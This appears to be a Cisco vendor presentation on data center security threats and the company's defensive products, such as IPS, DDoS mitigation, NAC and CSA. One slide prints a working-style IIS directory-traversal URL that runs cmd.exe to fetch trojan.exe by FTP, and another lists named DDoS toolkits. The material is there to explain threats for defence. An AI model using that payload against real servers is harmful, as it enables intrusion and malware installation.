Datacenter Security - Protecting your Last Frontier

Raymond Chu
Product Marketing Manager - Security
Cisco Systems Asia Pacific
Agenda

- Data Center Security Threats
  - Intrusion Threats
  - DDoS
  - Worms and Outbreaks

- Data Center Security Technology
  - Access Control
  - Firewall and Intrusion Prevention (IPS)
  - DDoS Detection and Mitigation
  - Outbreak Prevention
  - Security Management

- Self-Defending Network
Data Center Security Threats
Business Resilience is a Business Strategy

Regulatory / Current Affairs
- Customer Expectations
- Regulations
- Contractual Obligations

Operational
- Business Operations
- Budget

Enterprise Policy and Operational Process

User Access
Application Availability
Data Integrity

Pervasive
Security
Data Center Security Threats

**INTRUSION THREATS**

- Layer 2 segment
- Layer 2 segment
- Web/application
- Database

**DENIAL OF SERVICE THREATS**

- Zombies
- Hacker
- Masters
- Customer's premises: Server/switch/router
- FloodedPipe Victim
- ISP Edge router (web server)

**WORM THREATS**
Challenge – Hacker’s Motivation

- From a **hobby** to a profitable industry
- From **annoying** to destructive
- From **playing** to stealing
- From **simplicity** to complexity
Typical Intrusion Sequence
Phase 1: Hacking the Web/Application Server

- After a phase of *probing/scanning*, the hacker detects the vulnerability of the web/application server.
- The hacker exploits the vulnerability to get a *shell*.
- For example:

  copy the trojan on the web/application server:

  HTTPS://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ftp%20-i%2010.20.15.15%20GET%20trojan.exe%20trojan.exe
Typical Intrusion Sequence
Phase 2 - Strategies

STRATEGY 1: ACCESSING THE DATABASE
- The hacker looks for the Database server, and if the web/application servers are layer 2 adjacent (with dual NICs for example) this is extremely easy
- Use a command line scanner
- Identify the vulnerabilities of the DB server
- Then obtain the shell of the database server and dump the database information

STRATEGY 2: SNIFFING THE TRAFFIC
DoS Attack Targets

- DoS attacks’ goal is to make applications unavailable
- The method can be targeting:
  - A server
  - A network device
  - A network link
- Can be associated with:
  - Source IP spoofing
- Collateral Damage includes:
  - Saturation of network forwarding tables
Denial Of Service: What’s Going On

- **Basic Denial of Service**
  Often L3/L4 based; SYN attacks common; spoofing common
  Relatively easy to block sources and stop

- **Distributed Denial of Service**
  Similar to a basic DoS in approach, but sources appear “random”
  Tens of thousands of broad-band connected machines in a bot-net make it extremely difficult to track
  Often stopped by closing down control channels

- **Emerging Threats: Application-layer Denial of Service**
  Email DoS
  Web Front-end DoS
  Web-Services and XML DoS
  IP Telephony DoS
Distributed Denial of Service

- **Hacker**
- **Zombies**
- **Masters**
- **Customer’s premises:** Server/FW/Switch/router
- **ISP Edge router**
- **Flooded Pipe**
- **Victim (web server)**

**Popular DOS Software**
- **Trin00**
  - 3 tiers, UDP flood
- **TFN2K**
  - more attacks: UDP, ICMP, SYN, Smurf, Targa, randomize
  - Control channel: spoofing, decoys, encrypted, icmp/pudp/tcp
  - Included with i00n worm
- **Stacheldraht**
  - added automatic updates with RCP
  - Randomization of TCP flags, addresses, attacks, port 53 source
  - Bundled into 2001 Ramen worm
- **Shaft**
  - Tickets used to track agents
  - Statistics to calculate the yield of the DoS network
- **Mstream, Trinity, Knight, Kaiten, Agobot, Phatbot…**
DDoS For Hire, and DoS Extortion

- **DDoS For Hire**: Criminal service in which for a nominal fee, a site of your choosing can be taken offline
- **DoS Extortion**: Criminal enterprise in which websites must pay a protection fee to avoid being taken offline, typically during a critical business period

---

**US credit card firm fights DDoS attack**

US credit card processing firm Authorize.Net is fighting a sustained distributed denial of service (DDoS) attack that has left it struggling to stay online.

Glen Zimmerman, a spokesman for Authorize.Net's parent company, Lightbridge, told the Boston Globe that the attacks followed an extortion letter. Lightbridge said it was working with law enforcements officials to track down the attackers.

http://www.theregister.co.uk/2004/09/23/authorize_ddos_attack/

---

**ONLINE EXTORTION**

How a Bookmaker and a Whiz Kid Took On an Extortionist — and Won

Facing an online extortion threat, Mickey Richardson bet his Web-based business on a networking whiz from Sacramento who first beat back the bad guys, then helped the cops nab them. If you collect revenue online, you’d better read this.

http://www.csoonline.com/read/050105/extortion.html
Recent Worms

“The integration and automation of all aspects of intrusion: reconnaissance scanning, target identification, compromise, embedding and attacker control”

Dave Dittrich, 2004
The Threats Have Evolved:
Increasing Speed and Damage

Target and Scope of Damage

Global Infrastructure Impact
Regional Networks
Multiple Networks
Individual Networks
Individual Computer

TIME FROM KNOWLEDGE OF VULNERABILITY TO RELEASE OF EXPLOIT IS SHRINKING

1980s 1990s Today Future

Weeks 2nd Gen 3rd Gen Minutes
1st Gen
• Boot viruses
2nd Gen
• Macro viruses
• E-mail
• DoS
• Limited hacking
3rd Gen
• Network DoS
• Blended threat (worm + virus + trojan)
• Turbo worms
• Widespread system hacking

Days

Seconds

Next Gen
• Infrastructure hacking
• Flash threats
• Massive worm driven
• DDoS
• Damaging payload viruses and worms

TIME FROM KNOWLEDGE OF VULNERABILITY TO RELEASE OF EXPLOIT IS SHRINKING

1980s 1990s Today Future

Weeks 2nd Gen 3rd Gen Minutes
1st Gen
• Boot viruses
2nd Gen
• Macro viruses
• E-mail
• DoS
• Limited hacking
3rd Gen
• Network DoS
• Blended threat (worm + virus + trojan)
• Turbo worms
• Widespread system hacking

Days

Seconds

Next Gen
• Infrastructure hacking
• Flash threats
• Massive worm driven
• DDoS
• Damaging payload viruses and worms
Data Center Security Technologies
Data Center Security Technologies

INTRUSION DETECTION AND PREVENTION

DOS DETECTION AND MITIGATION

WORM DETECTION AND MITIGATION
Countermeasures Against Intrusion Attacks

- **Access-Lists**
  - Minimize potential attacks, stop tool download for attack escalation

- **IDS and IPS**
  - Application layer attack detection / prevention

- **Event Management and Correlation**

- **ARP Inspection, PVLANs, Transparent Firewall**
  - Prevents MITM in the same Layer 2 domain

- **SSL offloading with Back-End Encryption:**
  - Prevents SSL MITM attacks and permits IDS analysis
Network Segmentation and Access Control

Assume at least one compromised desktop on the corporate network

Inbound ACLs: Minimize vulnerabilities

Outbound ACLs: Stop download of attack tools

ACL Logging: Capture scans, abnormalities

Antispoofing: Prevent bypass of firewall rules

Access restricted to presentation servers on required ports

Presentation

Database
Application Layer Inspection

*Rogue applications that hide traffic inside HTTP to avoid scrutiny*

- Broad-based inspection of web traffic
  - Network IPS, Firewall, VPN (Appliances, Switch Modules, and Cisco IOS®)
- Controls port 80 misuse:
  - Controls web services, such as XML applications
  - Polices IM to control usage and compliance
  - Controls P2P applications and misuse
  - Filters MIME type and content to reduce malware risk
  - Checks RFC protocol compliance
OS v7.0 Includes Thirty Inspection Engines!

Inspection Engine Capabilities

- Application Policy Enforcement
- Protocol Conformance Checking
- Protocol State Tracking
- Security Checks
- NAT / PAT Support
- Dynamic Port Allocation

Multimedia / Voice over IP

- H.323 v1-4
- SIP
- SCCP (Skinny)
- GTP (3G Wireless)
- MGCP
- RTSP
- TAPI / JTAPI

Core Internet Protocols

- HTTP
- FTP
- TFTP
- SMTP / ESMTP
- DNS / EDNS
- ICMP
- TCP
- UDP

Specific Applications

- Microsoft Windows Messenger
- Microsoft NetMeeting
- Real Player
- Cisco IP Phones
- Cisco Softphones

Database / OS Services

- ILS / LDAP
- Oracle / SQL*Net (V1/V2)
- Microsoft Networking
- NFS
- RSH
- SunRPC / NIS+
- X Windows (XDMCP)

Security Services

- IKE
- IPSec
- PPTP
Process for Accurate Threat Mitigation: 
*Multi-Vector Attack Identification*

Multiple techniques must be utilized to block broad classes of attacks:

- **Vulnerability** – encoding signatures to the underlying vulnerability for day-zero protection
- **Exploit-specific** – protection from unknown threats and quickly mutating viruses
- **Policy** – traffic filtering based on security policy
- **Anomaly** – Traffic and protocol anomaly detection to complement signature based analysis
- **Heuristic** – statistically based algorithms to rate limit alarms produced by sensing engine
Process for Accurate Threat Mitigation: 
*Rating Alarms for Threat Context*

<table>
<thead>
<tr>
<th>EVENT SEVERITY</th>
<th>How urgent is the threat?</th>
</tr>
</thead>
<tbody>
<tr>
<td>SIGNATURE FIDELITY</td>
<td>How prone to false positive?</td>
</tr>
<tr>
<td>ATTACK RELEVANCY</td>
<td>Is attack relevant to host being attacked?</td>
</tr>
<tr>
<td>ASSET VALUE OF TARGET</td>
<td>How critical is this destination host?</td>
</tr>
</tbody>
</table>

---

**RISK RATING** Drives Mitigation Policy

**Decision Support Balances Attack Urgency with Business Risk**

![Decision Support Interface](image)

- Event Action: Deny Attacker Inline
- Enabled: Yes
- Risk Rating: Minimum 65, Maximum 100

**Customizable Risk Rating Thresholds:**

- $0 < RR < 35$: Alarm
- $35 < RR < 85$: Alarm & Log Packets
- $85 < RR < 100$: Drop Packet
Process for Accurate Threat Mitigation: Integrated Event Correlation

On-Box Correlation Allows Adaptation to New Threats in Real-Time without User Intervention

- Links lower risk events into a high risk meta-event, triggering prevention actions
- Models attack behavior by correlating:
  - Event type
  - Time span
Cisco Denial of Service (DDoS) Solution

Appliances and New Service Modules

- Detects and mitigates the broadest range of (DDoS) attacks
- Integrated mitigation driven by behavioral anomaly recognition
- Granularity and accuracy to ensure business continuity by forwarding legitimate transactions
- Performance and architecture suitable for the largest enterprises and service provider managed services

Guard XT 5650
Anomaly Detector XT 5600

Cisco Anomaly Guard Module

Cisco Traffic Anomaly Detector Module
Diversion Overview

1. Detect
3. Divert only target’s traffic

BGP announcement

DDoS Protection Device

1. Detect
3. Divert only target’s traffic

DDoS Detector

Target

Non-targeted servers
Diversion Overview

1. Traffic destined to the target
2. Legitimate traffic to target
3. Target
4. Identify and filter the malicious
5. Forward the legitimate
6. Non-targeted traffic flows freely

Non-targeted Servers

DDoS Protection Device

DDoS Detector

Target
Worms, Viruses and Spyware: Solutions Across the Network

- **ENDPOINT PROTECTION**
  - Infection Prevention: Cisco Security Agent
  - Infection Remediation: Desktop Anti-Virus; Microsoft and Other Anti-Spyware SW

- **NETWORK-BASED CONTENT CONTROL**
  - Multi-Function Security Devices
  - Firewalls
  - Intrusion Prevention Systems
  - Proxies

- **NETWORK ADMISSION CONTROL**
  - Ensure Endpoint Policy Compliance

- **Management Network**
- **Data Center**
- **Remote/Branch Office**
- **Internet Connections**
- **Corporate Network**
- **Corporate LAN**
- **Remote Access Systems**
- **Business Partner Access**
- **Extranet Connections**
Cisco Network Admission Control (NAC)

1. Non-compliant endpoint attempts connection
2. PC is denied access to the corporate Net
3. Quarantine area and remediation

Network Admission Control
Cisco Trust Agent
Access Control Server
Deployment Scenario: Data Center Protection

Protect Data Center from non-compliant and potentially infected hosts on the Corporate and Lab Networks
Servers and End-Points Protection with Cisco Security Agent
What Problems Does CSA Solve?

- **Day Zero Damage by Unknown Attacks**
  - Behavior based protection against unknown and known attacks
  - No signature files to distribute

- **Patch management and Change Control**
  - Better control of patches.
  - Protect your environment even if it is not patched on time.
  - Allows you to test before deploying a patch -> reducing risks.
  - May reduce number of times to patch -> save money and time.

- **Centralized Policy Enforcement and Management**
  - Can restrict misbehave applications and users
  - Better enforce corporate security policies
  - Centralized control and modification of policies
  - Application SandBox and OS hardening
IPS Version 6.0
IPS-CSA Collaboration Q3CY06

- Enhanced contextual analysis of endpoint
- Ability to use CSA inputs to influence IPS actions
- Correlation of info. contained in CSA watch list
- Auto-signature generation (best effort)

Management Console

Service Provider

Attacker initiates attack destined for internal servers

OS = WindowsXP

Elevate Risk Rating
Deny 10.1.10.1

CSA Watch List 10.1.10.1

Generate Custom Sig.

Attack Detected: Src IP: 1.1.1.1
Port: 80; Regex: xXyYzZ

Cisco Confidential – Internal Use Only
SDN Futures: Infection Containment
Extending network sensing and control intelligence

<table>
<thead>
<tr>
<th>Infected Host</th>
<th>Local L2/L3 Device</th>
<th>Virus Detectors/ AV Systems</th>
<th>Policy System</th>
</tr>
</thead>
<tbody>
<tr>
<td>Virus Detected!!</td>
<td>Desktop</td>
<td>Gateway</td>
<td>Policy Server</td>
</tr>
<tr>
<td>Policy Enforced!!</td>
<td>Campus</td>
<td>Server</td>
<td>Policy System</td>
</tr>
<tr>
<td>Policy: Isolate!!</td>
<td>AV Management</td>
<td>HIPS</td>
<td></td>
</tr>
<tr>
<td></td>
<td>IDS/IDP Systems</td>
<td>NIDS</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Router</td>
<td>Switch</td>
<td></td>
</tr>
</tbody>
</table>

continues
ASA 5500 Series – Threat-Protected VPN Services

Leveraging On-Board Security to Protect the VPN Threat Vector

Leverages depth of threat defense features to stop malicious worms, viruses and more... without external devices or performance loss!
Complete Enterprise Architecture

• Visualization tools to facilitate deployment, configuration, and maintenance

• Common policy view for the enterprise

• Network-wide view of topology and context

• Valuable analysis and reports

- Visualization tools to facilitate deployment, configuration, and maintenance
- Common policy view for the enterprise
- Network-wide view of topology and context
- Valuable analysis and reports

CS-Manager
CONFIGURATION PROVISIONING

CS-MARS
MONITORING ANALYSIS MITIGATION

ASA 5500 Anti-X Edition

ASA 5500 IPS Edition

ASA 5500 Firewall Edition

CS-MARS
MONITORING ANALYSIS MITIGATION

• Visualization tools to facilitate deployment, configuration, and maintenance

• Common policy view for the enterprise

• Network-wide view of topology and context

• Valuable analysis and reports

CS-Manager
CONFIGURATION PROVISIONING

CS-MARS
MONITORING ANALYSIS MITIGATION

ASA 5500 Anti-X Edition

ASA 5500 IPS Edition

ASA 5500 Firewall Edition
Cisco Monitoring, Analysis and Response System (MARS) “Active Control and Containment”
Cisco Self-Defending Network

Cisco Strategy to Dramatically Improve the Network’s Ability to Identify, Prevent, and Adapt to Threats

- Integrated
- Collaborative
- Adaptive
The Network as the Human Body

- IT infrastructure (and network) needs to operate same as human body…
- Viruses… ever-present fact of life
  - We carry them with us
  - We pick them up from all sorts of contact
- Human body functions at high level even though we carry viruses and disease
- Cisco’s NAC and Self-Defending Network Initiative modeled around this Autoimmune concept
Value of Integrated Security System

*The best way to protect the network infrastructure is to have security integrated into the infrastructure itself.*

**Security as an Option**
- Security is an add-on
- Challenging integration
- Not cost-effective
- Cannot focus on core priority

**Security as INTEGRAL of a System**
- Security is built-in
- Intelligent collaboration
- Appropriate security
- Direct focus on core priority
Router as First Line of Defense against Internet Threats

Cisco IOS – Firewall

- Over 60% of enterprises have opened port 80 to support growing web application (e-business) traffic
- Cisco IOS Firewall stops:
  - Port 80 Misuse by IM and Peer-to-Peer
  - Misuse of Email Protocols (SMTP, ESMTP, IMAP)

Cisco IOS – IPS

- IPS most asked feature after FW / VPN in integrated security system
- Cisco IOS IPS stops broader range of attacks at point of entry:
  - Dynamic selection of 1,200 worm and attack signatures
  - Supports new attack prevention signatures from Trend Micro

+ Network Foundation Protection Extensions
Catalyst 6500 Services Strategy

**Managed Virtualization**
- More granular customized control of network with lower TCO
- Firewall and VPN as first virtualized services

**Scalability**
- Highest performance
- Modular Flexibility
- System level L2-7 Integration

**Services Convergence**
- Secure Data Center
- Enterprise Security Segmentation
- New Services

**Enhanced Manageability**
- Role based Access Control
- Programmable Interface
- Drag & Drop GUI for services configuration

**Switch Integrated Security**
- Catalyst Integrated Security Tool kit-
- Hardware integrated security- Sup 720 user based and CPU rate limiting
- Identity Based Networking Service-
- Network Admission Control (NAC)

- Man-in-the-Middle Attack Prevention
- SSL
- IDSM2
- NAM 1 & 2
- CSM & CSM-S
- WLSM
- VPN
Cisco Threat Defense System for the Data Center

Defense in Depth

**Firewall/Access Control**
- Limit worm propagation and protect server farms
  - Control connection attempts
  - Limit inbound to server

**Network IDS/IPS**
- Detects worm & propagation
  - Attack identification
  - Attack mitigation
  - Forensics analysis

**Foundation Architecture Services**
- Protect the network and quarantine infection
  - Control Plane Policing
  - Private VLANs
  - Others

**DDoS attack protection**
- Scrub attack traffic from legitimate traffic

**Anomaly Detection**

**Content Security**
- Proxy Cache & Web security
  - AppScreen (AVS)

**Endpoint Security**
- Protects servers/desktops
  - CSA for day-zero protection

**Storage Security Services**
- Isolate SANs, authenticate access and protect data in transit
  - VSANs
  - Fibre Channel – Security Protocol
  - Encryption

**Management**
- Unified security monitoring
- Coordinated device configuration

**CS-MARS**

**AVS**

**Guard XT and Traffic Anomaly**

**Guard XT and Traffic Anomaly**

**Content Security**

**AVS**

**Guard XT and Traffic Anomaly**

**Content Security**

**AVS**